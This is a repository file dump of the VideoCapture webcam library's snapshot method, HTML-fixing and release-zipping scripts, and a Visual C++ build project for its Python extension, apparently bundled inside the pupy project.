          draw.text((x, y), text, font=self.font, fill=textcolor)\n            return im\n\n    def saveSnapshot(self, filename, timestamp=0, boldfont=0, textpos=default_textpos, **keywords):\n        \"\"\"Saves a snapshot to the harddisk.\n\n        The filetype depends on the filename extension.  Everything that PIL\n        can handle can be specified (foo.jpg, foo.gif, foo.bmp, ...).\n\n        filename:   String containing the name of the resulting file.\n\n        timestamp:  see getImage()\n\n        boldfont:   see getImage()\n\n        textpos:    see getImage()\n\n        Additional keyword arguments can be give which are just passed to the\n        save() method of the Image class.  For example you can specify the\n        compression level of a JPEG image by quality=75 (which is the default\n        value anyway).\n\n        \"\"\"\n        self.getImage(timestamp, boldfont, textpos).save(filename, **keywords)\n\nif __name__ == '__main__':\n    # import shutil\n    #shutil.copy('VideoCapture.py', 'C:\\Python20\\Lib')\n    #shutil.copy('VideoCapture.py', 'C:\\Python21\\Lib')\n    #shutil.copy('VideoCapture.py', 'C:\\Python22\\Lib')\n    #shutil.copy('VideoCapture.py', 'C:\\Python23\\Lib')\n    #shutil.copy('VideoCapture.py', 'C:\\Python24\\Lib')\n    #shutil.copy('VideoCapture.py', 'C:\\Python25\\Lib')\n    cam = Device(devnum=0)\n    #~ #cam.displayPropertyPage() ## deprecated\n    #~ #cam.displayCaptureFilterProperties()\n    #~ #cam.displayCapturePinProperties()\n    #~ #cam.setResolution(768, 576) ## PAL\n    #~ #cam.setResolution(352, 288) ## CIF\n    #~ cam.saveSnapshot('test.jpg', quality=75, timestamp=3, boldfont=1)\n    print(\"Friendly name: \", cam.getDisplayName())\n"
  },
  {
    "path": "pupy/packages/src/VideoCapture/src/fixhtml.py",
    "content": "from __future__ import print_function\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nimport os\nimport string\n\nfrom io import open\n\noldWin = '''span {\n    font-family: Verdana;\n    background: #e0e0d0;\n    font-size: 10pt;\n}\n</style>\n</head>\n<body bgcolor=\"#e0e0d0\">\n'''\n\noldLinux = '''span {\n    font-family: Verdana;\n    background: #e0e0d0;\n    font-size: 13pt;\n}\n</style>\n</head>\n<body bgcolor=\"#e0e0d0\">\n'''\n\nnew = '''span {\n    font-family: Verdana;\n}\n</style>\n</head>\n<body bgcolor=\"#f0f0f8\">\n'''\n\ndef fixhtmlfile(file):\n    if os.path.isfile(file) and file[-5:] == '.html':\n        print(file)\n        fp = open(file, 'rt')\n        cont = fp.read()\n        fp.close()\n        cont = string.replace(cont, '\\r\\n', '\\n')\n        cont = string.replace(cont, oldWin, new)\n        cont = string.replace(cont, oldLinux, new)\n        fp = open(file, 'wt')\n        fp.write(cont)\n        fp.close()\n\ndef fixhtmlfiles(dir):\n    files = os.listdir(dir)\n    for file in files:\n        fixhtmlfile(dir + os.sep + file)\n"
  },
  {
    "path": "pupy/packages/src/VideoCapture/src/mkdist.py",
    "content": "from __future__ import print_function\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\nversion = '0.9-2'\n\n###############################################################################\n\nprint('- exportashtml')\n\nimport os\n\nif os.name == 'nt':\n    scite = r'C:\\Programme\\wscite\\SciTE.exe'\nelse:\n    scite = '/iuehome/gritsch/bin/scite'\n\nfile = 'VideoCapture.py'\nsrc = './' + file\ndest = '../html/' + file + '.html'\nos.system(scite + ' -open:%s -exportashtml:%s -quit:' % (src, dest))\n\n###############################################################################\n\nprint('- fixhtmlfile')\n\nimport time\nimport fixhtml\n\ntime.sleep(1) # allow SciTE to finish writing\nfixhtml.fixhtmlfile(dest)\n\n###############################################################################\n\nprint('- pydoc_it')\n\nos.system(r'c:\\Python22\\python.exe c:\\Python22\\Lib\\pydoc.py -w VideoCapture ')\nos.system(r'move VideoCapture.html ..\\html\\ ')\nos.remove('VideoCapture.pyc')\n\n###############################################################################\n\nprint('- fixpydochtmlfile')\n\nimport string\n\nfile = '../html/VideoCapture.html'\nfp = open(file)\ncont = fp.read()\nfp.close()\ncont = string.replace(cont, '\\r\\n', '\\n')\ncont = string.replace(cont, '''<style type=\"text/css\"><!--\nTT { font-family: lucidatypewriter, lucida console, courier }\n--></style>''', '''<style type=\"text/css\"><!--\nTT { font-family: courier new }\n--></style>''')\ncont = string.replace(cont, 'face=\"helvetica, arial\"', 'face=\"verdana\"')\ncont = string.replace(cont, r'<a href=\".\">index</a><br><a href=\"file:///D|/home/python/vidcap/videocapture-' + version + r'/src/videocapture.py\">d:\\home\\python\\vidcap\\videocapture-' + version + r'\\src\\videocapture.py</a>', '<a href=\"../index.html\">index.html</a><br><a href=\"VideoCapture.py.html\">VideoCapture.py</a>')\nfp = open(file, 'wt')\nfp.write(cont)\nfp.close()\n\n###############################################################################\n\nprint('- zip_it')\n\nimport zipfile\n\narchive = zipfile.ZipFile('../VideoCapture-' + version + '.zip', 'w', zipfile.ZIP_DEFLATED)\n\narchive.write('../LGPL.txt', 'LGPL.txt')\narchive.write('../index.html', 'index.html')\narchive.write('../html/logo.jpg', 'html/logo.jpg')\narchive.write('../html/PythonPowered.gif', 'html/PythonPowered.gif')\narchive.write('../html/VideoCapture.py.html', 'html/VideoCapture.py.html')\narchive.write('../html/VideoCapture.html', 'html/VideoCapture.html')\narchive.write('mkdist.py', 'src/mkdist.py')\narchive.write('fixhtml.py', 'src/fixhtml.py')\narchive.write('vidcap.dsp', 'src/vidcap.dsp')\narchive.write('vidcap.dsw', 'src/vidcap.dsw')\narchive.write('vidcapmodule.cpp', 'src/vidcapmodule.cpp')\n\narchive.write('VideoCapture.py', 'src/VideoCapture.py')\narchive.write('helvB08.png', 'src/helvB08.png')\narchive.write('helvB08.pil', 'src/helvB08.pil')\narchive.write('helvetica-10.png', 'src/helvetica-10.png')\narchive.write('helvetica-10.pil', 'src/helvetica-10.pil')\n\narchive.write('VideoCapture.py', 'Python20/Lib/VideoCapture.py')\narchive.write('helvB08.png', 'Python20/Lib/helvB08.png')\narchive.write('helvB08.pil', 'Python20/Lib/helvB08.pil')\narchive.write('helvetica-10.png', 'Python20/Lib/helvetica-10.png')\narchive.write('helvetica-10.pil', 'Python20/Lib/helvetica-10.pil')\n\narchive.write('VideoCapture.py', 'Python21/Lib/VideoCapture.py')\narchive.write('helvB08.png', 'Python21/Lib/helvB08.png')\narchive.write('helvB08.pil', 'Python21/Lib/helvB08.pil')\narchive.write('helvetica-10.png', 'Python21/Lib/helvetica-10.png')\narchive.write('helvetica-10.pil', 'Python21/Lib/helvetica-10.pil')\n\narchive.write('VideoCapture.py', 'Python22/Lib/VideoCapture.py')\narchive.write('helvB08.png', 'Python22/Lib/helvB08.png')\narchive.write('helvB08.pil', 'Python22/Lib/helvB08.pil')\narchive.write('helvetica-10.png', 'Python22/Lib/helvetica-10.png')\narchive.write('helvetica-10.pil', 'Python22/Lib/helvetica-10.pil')\n\narchive.write('VideoCapture.py', 'Python23/Lib/VideoCapture.py')\narchive.write('helvB08.png', 'Python23/Lib/helvB08.png')\narchive.write('helvB08.pil', 'Python23/Lib/helvB08.pil')\narchive.write('helvetica-10.png', 'Python23/Lib/helvetica-10.png')\narchive.write('helvetica-10.pil', 'Python23/Lib/helvetica-10.pil')\n\narchive.write('VideoCapture.py', 'Python24/Lib/VideoCapture.py')\narchive.write('helvB08.png', 'Python24/Lib/helvB08.png')\narchive.write('helvB08.pil', 'Python24/Lib/helvB08.pil')\narchive.write('helvetica-10.png', 'Python24/Lib/helvetica-10.png')\narchive.write('helvetica-10.pil', 'Python24/Lib/helvetica-10.pil')\n\narchive.write('VideoCapture.py', 'Python25/Lib/VideoCapture.py')\narchive.write('helvB08.png', 'Python25/Lib/helvB08.png')\narchive.write('helvB08.pil', 'Python25/Lib/helvB08.pil')\narchive.write('helvetica-10.png', 'Python25/Lib/helvetica-10.png')\narchive.write('helvetica-10.pil', 'Python25/Lib/helvetica-10.pil')\n\narchive.write('VideoCapture.py', 'Python26/Lib/VideoCapture.py')\narchive.write('helvB08.png', 'Python26/Lib/helvB08.png')\narchive.write('helvB08.pil', 'Python26/Lib/helvB08.pil')\narchive.write('helvetica-10.png', 'Python26/Lib/helvetica-10.png')\narchive.write('helvetica-10.pil', 'Python26/Lib/helvetica-10.pil')\n\narchive.write('Python20/vidcap.pyd', 'Python20/DLLs/vidcap.pyd')\narchive.write('Python21/vidcap.pyd', 'Python21/DLLs/vidcap.pyd')\narchive.write('Python22/vidcap.pyd', 'Python22/DLLs/vidcap.pyd')\narchive.write('Python23/vidcap.pyd', 'Python23/DLLs/vidcap.pyd')\narchive.write('Python24/vidcap.dll', 'Python24/DLLs/vidcap.dll')\narchive.write('Python25/vidcap.pyd', 'Python25/DLLs/vidcap.pyd')\narchive.write('Python26/vidcap.pyd', 'Python26/DLLs/vidcap.pyd')\n\narchive.write('../AMCAP/AMCAP.EXE', 'AMCAP/AMCAP.EXE')\narchive.write('../AMCAP/AMCAP.DOC', 'AMCAP/AMCAP.DOC')\n\narchive.write('../Examples/exa1_snapshot.py', 'Examples/exa1_snapshot.py')\narchive.write('../Examples/exa2_show-possibilities.py', 'Examples/exa2_show-possibilities.py')\narchive.write('../Examples/exa3_observer.py', 'Examples/exa3_observer.py')\narchive.write('../Examples/displayPropertiesDev0.pyw', 'Examples/displayPropertiesDev0.pyw')\narchive.write('../Examples/displayPropertiesDev1.pyw', 'Examples/displayPropertiesDev1.pyw')\narchive.write('../Examples/test1.jpg', 'Examples/test1.jpg')\narchive.write('../Examples/test2.jpg', 'Examples/test2.jpg')\narchive.write('../Examples/test3.jpg', 'Examples/test3.jpg')\narchive.write('../Examples/test4.jpg', 'Examples/test4.jpg')\n\narchive.write('../Tools/readme.txt', 'Tools/readme.txt')\n\narchive.write('../Tools/webcam-saver/webcam-saver.py', 'Tools/webcam-saver/webcam-saver.py')\narchive.write('../Tools/webcam-saver/webcam-saver.ini', 'Tools/webcam-saver/webcam-saver.ini')\n\narchive.write('../Tools/webcam-uploader/webcam-uploader.py', 'Tools/webcam-uploader/webcam-uploader.py')\narchive.write('../Tools/webcam-uploader/webcam-uploader.ini', 'Tools/webcam-uploader/webcam-uploader.ini')\narchive.write('../Tools/webcam-uploader/scpdropin.py', 'Tools/webcam-uploader/scpdropin.py')\narchive.write('../Tools/webcam-uploader/template.html', 'Tools/webcam-uploader/template.html')\narchive.write('../Tools/webcam-uploader/offline.jpg', 'Tools/webcam-uploader/offline.jpg')\narchive.write('../Tools/webcam-uploader/offline2.jpg', 'Tools/webcam-uploader/offline2.jpg')\n\narchive.write('../Tools/webcam-watcher/cam_form.ui', 'Tools/webcam-watcher/cam_form.ui')\narchive.write('../Tools/webcam-watcher/cam_form.py', 'Tools/webcam-watcher/cam_form.py')\narchive.write('../Tools/webcam-watcher/webcam-watcher.py', 'Tools/webcam-watcher/webcam-watcher.py')\narchive.write('../Tools/webcam-watcher/webcam-watcher.ini', 'Tools/webcam-watcher/webcam-watcher.ini')\narchive.write('../Tools/webcam-watcher/cam.png', 'Tools/webcam-watcher/cam.png')\narchive.write('../Tools/webcam-watcher/cam256.ico', 'Tools/webcam-watcher/cam256.ico')\narchive.write('../Tools/webcam-watcher/retrieving.png', 'Tools/webcam-watcher/retrieving.png')\narchive.write('../Tools/webcam-watcher/error.png', 'Tools/webcam-watcher/error.png')\narchive.write('../Tools/webcam-watcher/setup.py', 'Tools/webcam-watcher/setup.py')\narchive.write('../Tools/webcam-watcher/makedist.bat', 'Tools/webcam-watcher/makedist.bat')\n\narchive.write('../Tools/3rdParty/webcam-server/email.txt', 'Tools/3rdParty/webcam-server/email.txt')\narchive.write('../Tools/3rdParty/webcam-server/webcam-server.py', 'Tools/3rdParty/webcam-server/webcam-server.py')\narchive.write('../Tools/3rdParty/webcam-server/webcam-server.ini', 'Tools/3rdParty/webcam-server/webcam-server.ini')\n\narchive.write('../Tools/3rdParty/pushserver/email.txt', 'Tools/3rdParty/pushserver/email.txt')\narchive.write('../Tools/3rdParty/pushserver/server.py', 'Tools/3rdParty/pushserver/server.py')\narchive.write('../Tools/3rdParty/pushserver/index.html', 'Tools/3rdParty/pushserver/index.html')\narchive.write('../Tools/3rdParty/pushserver/test_push.html', 'Tools/3rdParty/pushserver/test_push.html')\narchive.write('../Tools/3rdParty/pushserver/test_static.html', 'Tools/3rdParty/pushserver/test_static.html')\n\narchive.close()\n"
  },
  {
    "path": "pupy/packages/src/VideoCapture/src/vidcap.dsp",
    "content": "# Microsoft Developer Studio Project File - Name=\"vidcap\" - Package Owner=<4>\r\n# Microsoft Developer Studio Generated Build File, Format Version 6.00\r\n# ** DO NOT EDIT **\r\n\r\n# TARGTYPE \"Win32 (x86) Dynamic-Link Library\" 0x0102\r\n\r\nCFG=vidcap - Win32 Python20\r\n!MESSAGE This is not a valid makefile. To build this project using NMAKE,\r\n!MESSAGE use the Export Makefile command and run\r\n!MESSAGE\r\n!MESSAGE NMAKE /f \"vidcap.mak\".\r\n!MESSAGE\r\n!MESSAGE You can specify a configuration when running NMAKE\r\n!MESSAGE by defining the macro CFG on the command line. For example:\r\n!MESSAGE\r\n!MESSAGE NMAKE /f \"vidcap.mak\" CFG=\"vidcap - Win32 Python20\"\r\n!MESSAGE\r\n!MESSAGE Possible choices for configuration are:\r\n!MESSAGE\r\n!MESSAGE \"vidcap - Win32 Python20\" (based on \"Win32 (x86) Dynamic-Link Library\")\r\n!MESSAGE \"vidcap - Win32 Python21\" (based on \"Win32 (x86) Dynamic-Link Library\")\r\n!MESSAGE \"vidcap - Win32 Python22\" (based on \"Win32 (x86) Dynamic-Link Library\")\r\n!MESSAGE \"vidcap - Win32 Python23\" (based on \"Win32 (x86) Dynamic-Link Library\")\r\n!MESSAGE \"vidcap - Win32 Python24\" (based on \"Win32 (x86) Dynamic-Link Library\")\r\n!MESSAGE \"vidcap - Win32 Python25\" (based on \"Win32 (x86) Dynamic-Link Library\")\r\n!MESSAGE\r\n\r\n# Begin Project\r\n# PROP AllowPerConfigDependencies 0\r\n# PROP Scc_ProjName \"\"\r\n# PROP Scc_LocalPath \"\"\r\nCPP=cl.exe\r\nMTL=midl.exe\r\nRSC=rc.exe\r\n\r\n!IF  \"$(CFG)\" == \"vidcap - Win32 Python20\"\r\n\r\n# PROP BASE Use_MFC 0\r\n# PROP BASE Use_Debug_Libraries 0\r\n# PROP BASE Output_Dir \"vidcap___Win32_Python20\"\r\n# PROP BASE Intermediate_Dir \"vidcap___Win32_Python20\"\r\n# PROP BASE Ignore_Export_Lib 0\r\n# PROP BASE Target_Dir \"\"\r\n# PROP Use_MFC 0\r\n# PROP Use_Debug_Libraries 0\r\n# PROP Output_Dir \"Python20\"\r\n# PROP Intermediate_Dir \"Python20\"\r\n# PROP Ignore_Export_Lib 0\r\n# PROP Target_Dir \"\"\r\n# ADD BASE CPP /nologo /MD /W3 /GX /O2 /D \"WIN32\" /D \"NDEBUG\" /D \"_WINDOWS\" /D \"_MBCS\" /D \"_USRDLL\" /D \"VPDCAP_EXPORTS\" /YX /FD /c\r\n# ADD CPP /nologo /MD /W3 /GX /O2 /I \"c:\\PYTHON20\\INCLUDE\" /I \"c:\\DXSDK\\include\" /I \"c:\\DXSDK\\samples\\Multimedia\\DirectShow\\BaseClasses\" /D \"WIN32\" /D \"NDEBUG\" /D \"_WINDOWS\" /D \"_MBCS\" /D \"_USRDLL\" /D \"VPDCAP_EXPORTS\" /YX /FD /c\r\n# ADD BASE MTL /nologo /D \"NDEBUG\" /mktyplib203 /win32\r\n# ADD MTL /nologo /D \"NDEBUG\" /mktyplib203 /win32\r\n# ADD BASE RSC /l 0x809 /d \"NDEBUG\"\r\n# ADD RSC /l 0x809 /d \"NDEBUG\"\r\nBSC32=bscmake.exe\r\n# ADD BASE BSC32 /nologo\r\n# ADD BSC32 /nologo\r\nLINK32=link.exe\r\n# ADD BASE LINK32 python20.lib strmiids.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 /out:\"Release/vidcap.pyd\"\r\n# SUBTRACT BASE LINK32 /map /nodefaultlib\r\n# ADD LINK32 c:\\DXSDK\\samples\\Multimedia\\DirectShow\\BaseClasses\\Release\\STRMBASE.lib strmiids.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 /nodefaultlib:\"libcmt\" /out:\"Python20/vidcap.pyd\" /libpath:\"c:\\PYTHON20\\LIBS\" /libpath:\"c:\\DXSDK\\lib\"\r\n# SUBTRACT LINK32 /pdb:none\r\n# Begin Custom Build\r\nTargetPath=.\\Python20\\vidcap.pyd\r\nInputPath=.\\Python20\\vidcap.pyd\r\nSOURCE=\"$(InputPath)\"\r\n\r\n\"c:\\Python20\\DLLs\\vidcap.pyd\" : $(SOURCE) \"$(INTDIR)\" \"$(OUTDIR)\"\r\n\tcopy $(TargetPath) \"c:\\python20\\DLLs\"\r\n\r\n# End Custom Build\r\n\r\n!ELSEIF  \"$(CFG)\" == \"vidcap - Win32 Python21\"\r\n\r\n# PROP BASE Use_MFC 0\r\n# PROP BASE Use_Debug_Libraries 0\r\n# PROP BASE Output_Dir \"vidcap___Win32_Python21\"\r\n# PROP BASE Intermediate_Dir \"vidcap___Win32_Python21\"\r\n# PROP BASE Ignore_Export_Lib 0\r\n# PROP BASE Target_Dir \"\"\r\n# PROP Use_MFC 0\r\n# PROP Use_Debug_Libraries 0\r\n# PROP Output_Dir \"Python21\"\r\n# PROP Intermediate_Dir \"Python21\"\r\n# PROP Ignore_Export_Lib 0\r\n# PROP Target_Dir \"\"\r\n# ADD BASE CPP /nologo /MD /W3 /GX /O2 /D \"WIN32\" /D \"NDEBUG\" /D \"_WINDOWS\" /D \"_MBCS\" /D \"_USRDLL\" /D \"VPDCAP_EXPORTS\" /YX /FD /c\r\n# ADD CPP /nologo /MD /W3 /GX /O2 /I \"c:\\PYTHON21\\INCLUDE\" /I \"c:\\DXSDK\\include\" /I \"c:\\DXSDK\\samples\\Multimedia\\DirectShow\\BaseClasses\" /D \"WIN32\" /D \"NDEBUG\" /D \"_WINDOWS\" /D \"_MBCS\" /D \"_USRDLL\" /D \"VPDCAP_EXPORTS\" /YX /FD /c\r\n# ADD BASE MTL /nologo /D \"NDEBUG\" /mktyplib203 /win32\r\n# ADD MTL /nologo /D \"NDEBUG\" /mktyplib203 /win32\r\n# ADD BASE RSC /l 0x809 /d \"NDEBUG\"\r\n# ADD RSC /l 0x809 /d \"NDEBUG\"\r\nBSC32=bscmake.exe\r\n# ADD BASE BSC32 /nologo\r\n# ADD BSC32 /nologo\r\nLINK32=link.exe\r\n# ADD BASE LINK32 python20.lib strmiids.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 /out:\"Release/vidcap.pyd\"\r\n# SUBTRACT BASE LINK32 /map /nodefaultlib\r\n# ADD LINK32 c:\\DXSDK\\samples\\Multimedia\\DirectShow\\BaseClasses\\Release\\STRMBASE.lib strmiids.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 /nodefaultlib:\"libcmt\" /out:\"Python21/vidcap.pyd\" /libpath:\"c:\\PYTHON21\\LIBS\" /libpath:\"c:\\DXSDK\\lib\"\r\n# SUBTRACT LINK32 /pdb:none /nodefaultlib\r\n# Begin Custom Build\r\nTargetPath=.\\Python21\\vidcap.pyd\r\nInputPath=.\\Python21\\vidcap.pyd\r\nSOURCE=\"$(InputPath)\"\r\n\r\n\"c:\\Python21\\DLLs\\vidcap.pyd\" : $(SOURCE) \"$(INTDIR)\" \"$(OUTDIR)\"\r\n\tcopy $(TargetPath) \"c:\\python21\\DLLs\"\r\n\r\n# End Custom Build\r\n\r\n!ELSEIF  \"$(CFG)\" == \"vidcap - Win32 Python22\"\r\n\r\n# PROP BASE Use_MFC 0\r\n# PROP BASE Use_Debug_Libraries 0\r\n# PROP BASE Output_Dir \"vidcap___Win32_Python22\"\r\n# PROP BASE Intermediate_Dir \"vidcap___Win32_Python22\"\r\n# PROP BASE Ignore_Export_Lib 0\r\n# PROP BASE Target_Dir \"\"\r\n# PROP Use_MFC 0\r\n# PROP Use_Debug_Libraries 0\r\n# PROP Output_Dir \"Python22\"\r\n# PROP Intermediate_Dir \"Python22\"\r\n# PROP Ignore_Export_Lib 0\r\n# PROP Target_Dir \"\"\r\n# ADD BASE CPP /nologo /MD /W3 /GX /O2 /I \"c:\\PYTHON22\\INCLUDE\" /D \"WIN32\" /D \"NDEBUG\" /D \"_WINDOWS\" /D \"_MBCS\" /D \"_USRDLL\" /D \"VPDCAP_EXPORTS\" /YX /FD /c\r\n# ADD CPP /nologo /MD /W3 /GX /O2 /I \"c:\\PYTHON22\\INCLUDE\" /I \"c:\\DXSDK\\include\" /I \"c:\\DXSDK\\samples\\Multimedia\\DirectShow\\BaseClasses\" /D \"WIN32\" /D \"NDEBUG\" /D \"_WINDOWS\" /D \"_MBCS\" /D \"_USRDLL\" /D \"VPDCAP_EXPORTS\" /YX /FD /c\r\n# ADD BASE MTL /nologo /D \"NDEBUG\" /mktyplib203 /win32\r\n# ADD MTL /nologo /D \"NDEBUG\" /mktyplib203 /win32\r\n# ADD BASE RSC /l 0x809 /d \"NDEBUG\"\r\n# ADD RSC /l 0x809 /d \"NDEBUG\"\r\nBSC32=bscmake.exe\r\n# ADD BASE BSC32 /nologo\r\n# ADD BSC32 /nologo\r\nLINK32=link.exe\r\n# ADD BASE LINK32 strmiids.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 /out:\"Python21/vidcap.pyd\" /libpath:\"c:\\PYTHON21\\LIBS\"\r\n# SUBTRACT BASE LINK32 /pdb:none\r\n# ADD LINK32 c:\\DXSDK\\samples\\Multimedia\\DirectShow\\BaseClasses\\Release\\STRMBASE.lib strmiids.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 /nodefaultlib:\"libcmt\" /out:\"Python22/vidcap.pyd\" /libpath:\"c:\\PYTHON22\\LIBS\" /libpath:\"c:\\DXSDK\\lib\"\r\n# SUBTRACT LINK32 /pdb:none /nodefaultlib\r\n# Begin Custom Build\r\nTargetPath=.\\Python22\\vidcap.pyd\r\nInputPath=.\\Python22\\vidcap.pyd\r\nSOURCE=\"$(InputPath)\"\r\n\r\n\"c:\\Python22\\DLLs\\vidcap.pyd\" : $(SOURCE) \"$(INTDIR)\" \"$(OUTDIR)\"\r\n\tcopy $(TargetPath) \"c:\\python22\\DLLs\"\r\n\r\n# End Custom Build\r\n\r\n!ELSEIF  \"$(CFG)\" == \"vidcap - Win32 Python23\"\r\n\r\n# PROP BASE Use_MFC 0\r\n# PROP BASE Use_Debug_Libraries 0\r\n# PROP BASE Output_Dir \"vidcap___Win32_Python23\"\r\n# PROP BASE Intermediate_Dir \"vidcap___Win32_Python23\"\r\n# PROP BASE Ignore_Export_Lib 0\r\n# PROP BASE Target_Dir \"\"\r\n# PROP Use_MFC 0\r\n# PROP Use_Debug_Libraries 0\r\n# PROP Output_Dir \"Python23\"\r\n# PROP Intermediate_Dir \"Python23\"\r\n# PROP Ignore_Export_Lib 0\r\n# PROP Target_Dir \"\"\r\n# ADD BASE CPP /nologo /MD /W3 /GX /O2 /I \"c:\\PYTHON23\\INCLUDE\" /D \"WIN32\" /D \"NDEBUG\" /D \"_WINDOWS\" /D \"_MBCS\" /D \"_USRDLL\" /D \"VPDCAP_EXPORTS\" /YX /FD /c\r\n# ADD CPP /nologo /MD /W3 /GX /O2 /I \"c:\\PYTHON23\\INCLUDE\" /I \"c:\\DXSDK\\include\" /I \"c:\\DXSDK\\samples\\Multimedia\\DirectShow\\BaseClasses\" /D \"WIN32\" /D \"NDEBUG\" /D \"_WINDOWS\" /D \"_MBCS\" /D \"_USRDLL\" /D \"VPDCAP_EXPORTS\" /YX /FD /c\r\n# ADD BASE MTL /nologo /D \"NDEBUG\" /mktyplib203 /win32\r\n# ADD MTL /nologo /D \"NDEBUG\" /mktyplib203 /win32\r\n# ADD BASE RSC /l 0x809 /d \"NDEBUG\"\r\n# ADD RSC /l 0x809 /d \"NDEBUG\"\r\nBSC32=bscmake.exe\r\n# ADD BASE BSC32 /nologo\r\n# ADD BSC32 /nologo\r\nLINK32=link.exe\r\n# ADD BASE LINK32 strmiids.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 /out:\"Python23/vidcap.pyd\" /libpath:\"c:\\PYTHON23\\LIBS\"\r\n# SUBTRACT BASE LINK32 /pdb:none\r\n# ADD LINK32 c:\\DXSDK\\samples\\Multimedia\\DirectShow\\BaseClasses\\Release\\STRMBASE.lib strmiids.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 /nodefaultlib:\"libcmt\" /out:\"Python23/vidcap.pyd\" /libpath:\"c:\\PYTHON23\\LIBS\" /libpath:\"c:\\DXSDK\\lib\"\r\n# SUBTRACT LINK32 /pdb:none\r\n# Begin Custom Build\r\nTargetPath=.\\Python23\\vidcap.pyd\r\nInputPath=.\\Python23\\vidcap.pyd\r\nSOURCE=\"$(InputPath)\"\r\n\r\n\"c:\\Python23\\DLLs\\vidcap.pyd\" : $(SOURCE) \"$(INTDIR)\" \"$(OUTDIR)\"\r\n\tcopy $(TargetPath) \"c:\\python23\\DLLs\"\r\n\r\n# End Custom Build\r\n\r\n!ELSEIF  \"$(CFG)\" == \"vidcap - Win32 Python24\"\r\n\r\n# PROP BASE Use_MFC 0\r\n# PROP BASE Use_Debug_Libraries 0\r\n# PROP BASE Output_Dir \"vidcap___Win32_Python24\"\r\n# PROP BASE Intermediate_Dir \"vidcap___Win32_Python24\"\r\n# PROP BASE Ignore_Export_Lib 0\r\n# PROP BASE Target_Dir \"\"\r\n# PROP Use_MFC 0\r\n# PROP Use_Debug_Libraries 0\r\n# PROP Output_Dir \"Python24\"\r\n# PROP Intermediate_Dir \"Python24\"\r\n# PROP Ignore_Export_Lib 0\r\n# PROP Target_Dir \"\"\r\n# ADD BASE CPP /nologo /MD /W3 /GX /O2 /I \"c:\\PYTHON24\\INCLUDE\" /D \"WIN32\" /D \"NDEBUG\" /D \"_WINDOWS\" /D \"_MBCS\" /D \"_USRDLL\" /D \"VPDCAP_EXPORTS\" /YX /FD /c\r\n# ADD CPP /nologo /MD /W3 /GX /O2 /I \"c:\\PYTHON24\\INCLUDE\" /I \"c:\\DXSDK\\include\" /I \"c:\\DXSDK\\samples\\Multimedia\\DirectShow\\BaseClasses\" /D \"WIN32\" /D \"NDEBUG\" /D \"_WINDOWS\" /D \"_MBCS\" /D \"_USRDLL\" /D \"VPDCAP_EXPORTS\" /YX /FD /c\r\n# ADD BASE MTL /nologo /D \"NDEBUG\" /mktyplib203 /win32\r\n# ADD MTL /nologo /D \"NDEBUG\" /mktyplib203 /win32\r\n# ADD BASE RSC /l 0x809 /d \"NDEBUG\"\r\n# ADD RSC /l 0x809 /d \"NDEBUG\"\r\nBSC32=bscmake.exe\r\n# ADD BASE BSC32 /nologo\r\n# ADD BSC32 /nologo\r\nLINK32=link.exe\r\n# ADD BASE LINK32 strmiids.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 /out:\"Python24/vidcap.pyd\" /libpath:\"c:\\PYTHON24\\LIBS\"\r\n# SUBTRACT BASE LINK32 /pdb:none\r\n# ADD LINK32 c:\\DXSDK\\samples\\Multimedia\\DirectShow\\BaseClasses\\Release\\STRMBASE.lib strmiids.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 /nodefaultlib:\"libcmt\" /out:\"Python24/vidcap.pyd\" /libpath:\"c:\\PYTHON24\\LIBS\" /libpath:\"c:\\DXSDK\\lib\"\r\n# SUBTRACT LINK32 /pdb:none\r\n# Begin Custom Build\r\nTargetPath=.\\Python24\\vidcap.pyd\r\nInputPath=.\\Python24\\vidcap.pyd\r\nSOURCE=\"$(InputPath)\"\r\n\r\n\"c:\\Python24\\DLLs\\vidcap.pyd\" : $(SOURCE) \"$(INTDIR)\" \"$(OUTDIR)\"\r\n\tcopy $(TargetPath) \"c:\\python24\\DLLs\"\r\n\r\n# End Custom Build\r\n\r\n!ELSEIF  \"$(CFG)\" == \"vidcap - Win32 Python25\"\r\n\r\n# PROP BASE Use_MFC 0\r\n# PROP BASE Use_Debug_Libraries 0\r\n# PROP BASE Output_Dir \"vidcap___Win32_Python25\"\r\n# PROP BASE Intermediate_Dir \"vidcap___Win32_Python25\"\r\n# PROP BASE Ignore_Export_Lib 0\r\n# PROP BASE Target_Dir \"\"\r\n# PROP Use_MFC 0\r\n# PROP Use_Debug_Libraries 0\r\n# PROP Output_Dir \"Python25\"\r\n# PROP Intermediate_Dir \"Python25\"\r\n# PROP Ignore_Export_Lib 0\r\n# PROP Target_Dir \"\"\r\n# ADD 